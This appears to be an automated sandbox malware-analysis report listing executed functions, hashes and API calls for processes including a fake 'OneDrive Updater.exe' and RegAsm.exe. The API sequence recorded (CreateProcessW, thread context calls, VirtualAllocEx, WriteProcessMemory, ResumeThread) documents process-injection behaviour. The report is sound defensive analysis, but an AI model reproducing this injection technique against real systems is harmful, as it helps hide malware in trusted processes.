Opcode Fuzzy Hash: 4a15d2ef76b0cac7c3ca77f7736a4645119af02b7a65c465bccd698ae55832fb
Instruction Fuzzy Hash: E541187180EBC45FD7969B3898559523FF4EF57320B1605DFE088CB1A3D624AC4ACBA2

Function 00007FFD9BAD4675 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1982130934.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 590de77f2bff44884e379c9c96a90e62b7f42966fdf6f75cd2e5ad7e20c32bf2
Instruction ID: 65a9837cf265c2c908ca4e5bc3a4c9dcd9009e6d656558e1b2ef0700ac6ad077
Opcode Fuzzy Hash: 590de77f2bff44884e379c9c96a90e62b7f42966fdf6f75cd2e5ad7e20c32bf2
Instruction Fuzzy Hash: 1C01847020CB0C4FD748EF0CE051AA5B3E0FB85360F10066EE58AC36A1DA32E881CB45

Function 00007FFD9BADAE68 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1982130934.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 996445b9244b70b5463d8174cc5747e3f56f0a0953b0e73921b0615144be9a4c
Instruction ID: e829bdfa9a9eef8e36a623794851144025ba83be84ed9edea5244f8664de9bc4
Opcode Fuzzy Hash: 996445b9244b70b5463d8174cc5747e3f56f0a0953b0e73921b0615144be9a4c
Instruction Fuzzy Hash: 8FF0E23190868D8FCB0AEF6888659E57FA0FF66310B0502DBE459C71B2DB749958CBC2

Function 00007FFD9BBA4A1D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1983889255.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9bba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c377bbdabe9acb16ec3474ab5fdd24ce3bcc635a2c71779390684c79e2bac9e
Instruction ID: f39c763a18ea8d23aaffd412d54acc9951fe8a16bc6fff0d2174bd0bf98f2df6
Opcode Fuzzy Hash: 2c377bbdabe9acb16ec3474ab5fdd24ce3bcc635a2c71779390684c79e2bac9e
Instruction Fuzzy Hash: 98F0BE32B0E5498FD768EA4CE4518A873E0FF45325B1100BAE16DC70F3CA25EC41CB45

Function 00007FFD9BBA4CD0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1983889255.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9bba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f93d42b695a4ee6afda505087005769b2d7ba4e018281e977f26834c08a37a4
Instruction ID: b6a6f8e49073d46ba0248c181347fab71192253a3c3a44c8e8bdc8eb64dfd4a1
Opcode Fuzzy Hash: 0f93d42b695a4ee6afda505087005769b2d7ba4e018281e977f26834c08a37a4
Instruction Fuzzy Hash: A8F05E32B0E5498FE768EA5CE4518A877E0FF4532571500BAE15EC74A3DA26AC50C740

Function 00007FFD9BBA53E4 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1983889255.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9bba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c14c63b850d1409040f694b71c643fecf9fd8ff781f5283263a1f1daeeeb65e8
Instruction ID: c4d29b3d09e880b390991a2ac33d34be86d77132451868ac55264eba1b037e43
Opcode Fuzzy Hash: c14c63b850d1409040f694b71c643fecf9fd8ff781f5283263a1f1daeeeb65e8
Instruction Fuzzy Hash: 8EF0A03171CF044FE748EE2DE449AA2B3E0FBA8314F10462FE44AC3291DA21E8818782

Function 00007FFD9BAD8606 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1982130934.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c6223e563e96ea2a5414e4b70cf5f623b033e0defffe8c045e428932866aa0d
Instruction ID: 62ec571a9cbe8b767b3cddb2eecc11c839979279e0850230911a2b95939b7a98
Opcode Fuzzy Hash: 2c6223e563e96ea2a5414e4b70cf5f623b033e0defffe8c045e428932866aa0d
Instruction Fuzzy Hash: 6FE0862074D6494AD3149668A0506F97E819BC9224F54067DE4DE823A6C8496AC15352

Analysis Process: OneDrive Updater.exePID: 7736, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	16.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	58
Total number of Limit Nodes:	7

Executed Functions

Function 00E82921 Relevance: 3.4, APIs: 2, Instructions: 359
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E81EC8: CreateProcessW.KERNELBASE(00000000,?,00000009,?,?,?,?,?,?,?), ref: 00E82FA4

Part of subcall function 00E81ED4: Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,00E82A1C), ref: 00E83103

Part of subcall function 00E81EE0: ReadProcessMemory.KERNELBASE(?,?,?,?,00010002,?,?,?,?,?,?,00E82A5A,?,00000004,?), ref: 00E831C1

VirtualAllocEx.KERNELBASE(?,?,00000000,00003000,00000040), ref: 00E82B1F
ResumeThread.KERNELBASE(?), ref: 00E82C34

Memory Dump Source

Source File: 0000001F.00000002.1792660253.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_e80000_OneDrive Updater.jbxd

Similarity

API ID: ProcessThread$AllocContextCreateMemoryReadResumeVirtualWow64
String ID:
API String ID: 2498194165-0
Opcode ID: 0556a85f2044fa2e493d1d99c4561b8dd682550087ab5965c1626a97e309a6e8
Instruction ID: 10ad2b133a94253d2120f5338c1b20384120fad3a9819965ce61dd14902a7c87
Opcode Fuzzy Hash: 0556a85f2044fa2e493d1d99c4561b8dd682550087ab5965c1626a97e309a6e8
Instruction Fuzzy Hash: 03D19E70E002198BDB14EFA9C850BAEBBF6AF84304F248559D50DBB395DF349D46CB91

Function 00E82E5C Relevance: 1.6, APIs: 1, Instructions: 149
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,?,00000009,?,?,?,?,?,?,?), ref: 00E82FA4

Memory Dump Source

Source File: 0000001F.00000002.1792660253.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_e80000_OneDrive Updater.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b1dc27e40e321cc2c3576ae5719edb6f5078e0f84199be94a2f45d468ea33363
Instruction ID: cc81f8811db281d84645b5013fecb4dd00bc98ce0586e08089d5e65862a1c118
Opcode Fuzzy Hash: b1dc27e40e321cc2c3576ae5719edb6f5078e0f84199be94a2f45d468ea33363
Instruction Fuzzy Hash: 84514571901229DFDB24DFA9C940BDDBBB2BF48304F14809AE90CB7250D7759A84CF51

Function 00E81EC8 Relevance: 1.6, APIs: 1, Instructions: 140
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,?,00000009,?,?,?,?,?,?,?), ref: 00E82FA4

Memory Dump Source

Source File: 0000001F.00000002.1792660253.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_e80000_OneDrive Updater.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 485102b3a61f94c1556bdd2c7598c89bcb3a71a0926b845aeaf08ffbeb73cad8
Instruction ID: e280edd42dc046f04a308c51aac095f8938305d4703e954818fd7457dca423cb
Opcode Fuzzy Hash: 485102b3a61f94c1556bdd2c7598c89bcb3a71a0926b845aeaf08ffbeb73cad8
Instruction Fuzzy Hash: 6251E371901319DFDB24DFA9C940BDDBBB5BF49304F14809AE508BB250D775AA84CF51

Function 00E81AC0 Relevance: 1.6, APIs: 1, Instructions: 63
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?,?,?,?,00000000,00000000,?,00E82DFD,?,?,00000000), ref: 00E8328C

Memory Dump Source

Source File: 0000001F.00000002.1792660253.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_e80000_OneDrive Updater.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 2be24ab0e39dbf4370dfa1f3bedb6bd2981d604fbebc32aa9abe316b5754b8a0
Instruction ID: 149eaf31a270bf98e6d7e33736d44dde3e0c15f8c4ce5e0bede1a0ac6a98ffb7
Opcode Fuzzy Hash: 2be24ab0e39dbf4370dfa1f3bedb6bd2981d604fbebc32aa9abe316b5754b8a0
Instruction Fuzzy Hash: D421F8B1900349DFCB10DFAAD845BDEBBF4FB48314F108429E518B7250D374A944CBA5

Function 00E81EE0 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,00010002,?,?,?,?,?,?,00E82A5A,?,00000004,?), ref: 00E831C1

Memory Dump Source

Source File: 0000001F.00000002.1792660253.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_e80000_OneDrive Updater.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: f11b1b54d6041ab8494f52b1894dc54b483d0c75af2c5b30c5059cc7d5740317
Instruction ID: 91bf79587df97c69c789924de4de5e1944f5280039aa7d4e17bdbc9f1ba506b7
Opcode Fuzzy Hash: f11b1b54d6041ab8494f52b1894dc54b483d0c75af2c5b30c5059cc7d5740317
Instruction Fuzzy Hash: C021E2B5901259DFCB10DF9AD884ADEBBF4FB48714F10842AE958A7250C378AA44CFA5

Function 00E81ACC Relevance: 1.6, APIs: 1, Instructions: 57
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,00E82A1C), ref: 00E83103

Memory Dump Source

Source File: 0000001F.00000002.1792660253.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_e80000_OneDrive Updater.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: b5ca37cb840331151af13e970c6c10e7768c93eabaf19c68526295cd76a8554d
Instruction ID: 8063eadf9060128e4d50b506f11b2570f1860fc3c77520eb8da9a317313a20c9
Opcode Fuzzy Hash: b5ca37cb840331151af13e970c6c10e7768c93eabaf19c68526295cd76a8554d
Instruction Fuzzy Hash: 501129B19007498FCB10DFAAC845BDEFBF4EB88714F14802AD458B7240D7789544CFA1

Function 00E81ED4 Relevance: 1.6, APIs: 1, Instructions: 57
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,00E82A1C), ref: 00E83103

Memory Dump Source

Source File: 0000001F.00000002.1792660253.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_e80000_OneDrive Updater.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 1365c3684cc18fa6b95eecd24b3f30c707cdf46297a59575fa5d984c0f9105b1
Instruction ID: cee7cafdd3633229ceae46cbf123f08fd8a492571fb97d6671e71a9869af861e
Opcode Fuzzy Hash: 1365c3684cc18fa6b95eecd24b3f30c707cdf46297a59575fa5d984c0f9105b1
Instruction Fuzzy Hash: C91129B19007498FCB10DFAAC845BDEFBF4EB88714F14802AD458B7240D3789544CFA1

Function 00E8314A Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,00010002,?,?,?,?,?,?,00E82A5A,?,00000004,?), ref: 00E831C1

Memory Dump Source

Source File: 0000001F.00000002.1792660253.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_e80000_OneDrive Updater.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 2fdb6b97bf1e05a2db9d2e214adf9c88db29db69c6c1cdafc15ca76a06ec9c83
Instruction ID: 010e4a674df0a4dc2397e8d80da83ab1c14680b9ed9d1982f861e082b0ea4175
Opcode Fuzzy Hash: 2fdb6b97bf1e05a2db9d2e214adf9c88db29db69c6c1cdafc15ca76a06ec9c83
Instruction Fuzzy Hash: BA2113B5800259DFCB10CF9AC884ADEBBF4FF48310F10842AE958A7250C378A644CFA1

Function 00E83208 Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,00010002,?,?,?,?,?,?,00E82A5A,?,00000004,?), ref: 00E831C1

Memory Dump Source

Source File: 0000001F.00000002.1792660253.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_e80000_OneDrive Updater.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 15d23d206f837dc47f1e78c01d48573c4553e7b6d44c27c7132f1ed12c93f0b5
Instruction ID: cdfa3c824b2a11d6d07b4338dabc341d600c3f1673dd6a6c8eaff257d181587e
Opcode Fuzzy Hash: 15d23d206f837dc47f1e78c01d48573c4553e7b6d44c27c7132f1ed12c93f0b5
Instruction Fuzzy Hash: 84F0C272801208DFEB119FA5C808BDDFBF4EB48725F18C41AE588A6560C3785544DF25

Function 00DDD3C8 Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001F.00000002.1791256125.0000000000DDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_ddd000_OneDrive Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82c7134d0d177b64ddd0442e7d046efdae64ca75a35b049e7be7f1056321098c
Instruction ID: 2ffb053f71b1af727b0f21348a0ad750a32ff47545c23b00d9464be4ebcd4b21
Opcode Fuzzy Hash: 82c7134d0d177b64ddd0442e7d046efdae64ca75a35b049e7be7f1056321098c
Instruction Fuzzy Hash: 41212571500200DFDF15DF14D9C4B26BF66FB98324F24C56AE9090B356C336E856C6B2

Function 00DDD3C3 Relevance: .1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001F.00000002.1791256125.0000000000DDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_ddd000_OneDrive Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: d5761c1b6089710e1b43676af17201182662b5090a96fd2c3748ff63bfb0f4f5
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 4F11B176504240DFDF16CF10D5C4B16BF72FB94324F28C6AAD8090B656C336E85ACBA1

Analysis Process: RegAsm.exePID: 7880, Parent PID: 7736COMMON

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	88
Total number of Limit Nodes:	8

Executed Functions

Function 0549BFF0 Relevance: 1.7, APIs: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0549C256

Memory Dump Source

Source File: 00000020.00000002.1856239026.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5490000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 9e00292232092fd69575bf5cca9f655b27efed310d8392c1d5864d123922ff47
Instruction ID: 2d1def456d70e2f18fb21169288ad3280384b335425fc342b5643b4c5f3a3c83
Opcode Fuzzy Hash: 9e00292232092fd69575bf5cca9f655b27efed310d8392c1d5864d123922ff47
Instruction Fuzzy Hash: 5F8136B0A00B058FDB28DF69C5867AABBF2BF48204F00896ED086D7B50D775E845CF91

Function 0549670F Relevance: 1.6, APIs: 1, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0549674E,?,?,?,?,?), ref: 0549680F

Memory Dump Source

Source File: 00000020.00000002.1856239026.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5490000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: af1f80e311b28a3b68574cc6149d3859ec9206f5ff069e3ec21cf4bbc46b8331
Instruction ID: ee0b0dcc716f65dad3dec46778a7974089f3e40fc234299383d838b73af53e70
Opcode Fuzzy Hash: af1f80e311b28a3b68574cc6149d3859ec9206f5ff069e3ec21cf4bbc46b8331
Instruction Fuzzy Hash: 5841597A900248AFCF01CF99C845AEEBFF5EF49310F19805AE954A7361D7359914CFA0

Function 05496414 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 05497421

Memory Dump Source

Source File: 00000020.00000002.1856239026.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5490000_RegAsm.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: bb3231a1ee9d3c90fd7839fe90e3049019e71188c5e3ce1c9c44dadb691365f6
Instruction ID: 558aabb48268cfa3ad62f35ce6d59aeef745827d3572857a423ee7d8dd1699c0
Opcode Fuzzy Hash: bb3231a1ee9d3c90fd7839fe90e3049019e71188c5e3ce1c9c44dadb691365f6
Instruction Fuzzy Hash: AE41D0B0C00619DADF28DFA9C844BDEBBB5BF45304F2480AAD408AB265DB756985CF90

Function 05497364 Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 05497421

Memory Dump Source

Source File: 00000020.00000002.1856239026.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5490000_RegAsm.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: eb31fe9e38511f7d4617befb9a1f9c03bce0886746055d1b396bad7898b24500
Instruction ID: 599e795bf0b8c69c3c3e7331c4173dbd4549e5632026bb1c73b07dcecd2a47a4
Opcode Fuzzy Hash: eb31fe9e38511f7d4617befb9a1f9c03bce0886746055d1b396bad7898b24500
Instruction Fuzzy Hash: E541F2B0C00619DEDF24CFA9C944BDEBBB5BF49304F2480AAD408AB261DB756949CF90

Function 0549611C Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0549674E,?,?,?,?,?), ref: 0549680F

Memory Dump Source

Source File: 00000020.00000002.1856239026.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5490000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e162350d6b356776c897b8436ab3e306873dd644ecdda72cdb6eb433459f334f
Instruction ID: 06a384af45139b0aa272dc600f1b600bb611c16d192a4a4d141db7a7e24d0716
Opcode Fuzzy Hash: e162350d6b356776c897b8436ab3e306873dd644ecdda72cdb6eb433459f334f
Instruction Fuzzy Hash: 7A21E4B5900248DFDB10CF9AD984AEEBFF4FB48320F14845AE958A7310D378A944CFA5

Function 0549C294 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0549C6D1,00000800,00000000,00000000), ref: 0549C8E2

Memory Dump Source

Source File: 00000020.00000002.1856239026.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5490000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 06701690a0b270a7199f4d5d09e403082364dd282e15fd329f85629082c01150
Instruction ID: 86b28f16f9cc4b261c3cc4769e89085919fa42da1b39a75836258566ba0db852
Opcode Fuzzy Hash: 06701690a0b270a7199f4d5d09e403082364dd282e15fd329f85629082c01150
Instruction Fuzzy Hash: F61114B6D003498FCB14DF9AD484ADEFBF4EB88311F10842AD419A7310C774A945CFA5

Function 0549C870 Relevance: 1.6, APIs: 1, Instructions: 51
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0549C6D1,00000800,00000000,00000000), ref: 0549C8E2

Memory Dump Source

Source File: 00000020.00000002.1856239026.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5490000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d1898a6119c9427eea3c0c53440a153b62822d30cc1310b91cbad0373dba2a70
Instruction ID: 9729a2f148df610c8e2ec2e2375098dc2a93808e98398e4bbcf46123c9980d12
Opcode Fuzzy Hash: d1898a6119c9427eea3c0c53440a153b62822d30cc1310b91cbad0373dba2a70
Instruction Fuzzy Hash: BA11EFB6D003498FDB14CFAAD585ADEFBF4AB88311F14842ED519A7310C378A945CFA5

Function 0549C1F0 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0549C256

Memory Dump Source

Source File: 00000020.00000002.1856239026.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5490000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 4571136aa3970a8344bfd7e69eb03112796a8fac9ad1a88be9a7aa395e57b772
Instruction ID: 09a1260f1c6b43bd52bfa094f1ae8ce661a5398f228f1757af7cd7d1c6428a86
Opcode Fuzzy Hash: 4571136aa3970a8344bfd7e69eb03112796a8fac9ad1a88be9a7aa395e57b772
Instruction Fuzzy Hash: 5F1110B6C002498FCB14CF9AC444ADEFBF4AB88324F10846AD429B7310C379A545CFA1

Function 0163D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1823867595.000000000163D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0163D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_163d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d046ca31df840b09d18b930cb40e92013b3b06826528db30e218db3a1a56874e
Instruction ID: 60c69a70c27dbe3a78a048c188180cfcf0f119b5c19b4e8bccb6e01195df3e2a
Opcode Fuzzy Hash: d046ca31df840b09d18b930cb40e92013b3b06826528db30e218db3a1a56874e
Instruction Fuzzy Hash: 9B210EB1604200DFCB15DFA8D984B26FBA5EB84B14F60C569E84A4B356C33AD847CA61

Function 0163D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1823867595.000000000163D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0163D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_163d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17de7163a1e12a4c5df783ee0f29f24f6994aba7d146e6d7d26c00eb2d5c80d5
Instruction ID: ec8e80d1a371b3035b8c7fe69708f6b47e8f5008bd11a19aa4bf607f135cbbab
Opcode Fuzzy Hash: 17de7163a1e12a4c5df783ee0f29f24f6994aba7d146e6d7d26c00eb2d5c80d5
Instruction Fuzzy Hash: 5611DD75504280CFDB12CF58D9C4B16FFA1FB84718F28C6AAD8494B756C33AD44ACBA2

Analysis Process: OneDrive Updater.exePID: 8124, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	15.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	52
Total number of Limit Nodes:	5

Executed Functions

Function 057928D8 Relevance: 1.9, APIs: 1, Instructions: 378
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 05791EC8: CreateProcessW.KERNELBASE(00000000,?,00000009,?,?,?,?,?,?,?), ref: 05792FA4

Part of subcall function 05791ED4: Wow64GetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,05792A1C), ref: 05793103

Part of subcall function 05791EE0: ReadProcessMemory.KERNELBASE(?,?,?,?,00010002,?,?,?,?,?,?,05792A5A,?,00000004,?), ref: 057931C1

VirtualAllocEx.KERNELBASE(?,?,00000000,00003000,00000040), ref: 05792B1F

Memory Dump Source

Source File: 00000023.00000002.1910118964.0000000005790000.00000040.00000800.00020000.00000000.sdmp, Offset: 05790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_5790000_OneDrive Updater.jbxd

Similarity

API ID: Process$AllocContextCreateMemoryReadThreadVirtualWow64
String ID:
API String ID: 2545757285-0
Opcode ID: b514838fdc426b6ffd3c521bfe16ce456ec3fb3baa0c940b62489fe1c11d8be5
Instruction ID: 6aa1be69b393cf013aa963983c55de2db604b8643ce1f609cd561b3fc8727730
Opcode Fuzzy Hash: b514838fdc426b6ffd3c521bfe16ce456ec3fb3baa0c940b62489fe1c11d8be5
Instruction Fuzzy Hash: D5E1AC74E002199FCF18EFA5D854BAEBBF6BF84204F248169D40AAB291DF349D45CB91

Function 057928C8 Relevance: 1.8, APIs: 1, Instructions: 279
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 05791EC8: CreateProcessW.KERNELBASE(00000000,?,00000009,?,?,?,?,?,?,?), ref: 05792FA4

Part of subcall function 05791ED4: Wow64GetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,05792A1C), ref: 05793103

Part of subcall function 05791EE0: ReadProcessMemory.KERNELBASE(?,?,?,?,00010002,?,?,?,?,?,?,05792A5A,?,00000004,?), ref: 057931C1

VirtualAllocEx.KERNELBASE(?,?,00000000,00003000,00000040), ref: 05792B1F

Memory Dump Source

Source File: 00000023.00000002.1910118964.0000000005790000.00000040.00000800.00020000.00000000.sdmp, Offset: 05790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_5790000_OneDrive Updater.jbxd

Similarity

API ID: Process$AllocContextCreateMemoryReadThreadVirtualWow64
String ID:
API String ID: 2545757285-0
Opcode ID: c5dec0b51c25ebc58bce3c0c875dfd22493706fbff92bd0b8dfcbbb9d6b0c149
Instruction ID: 6142461796a2f18ef8fc1f1bfad8739035c6c76a26352f0b0f0d4169d65b5f32
Opcode Fuzzy Hash: c5dec0b51c25ebc58bce3c0c875dfd22493706fbff92bd0b8dfcbbb9d6b0c149
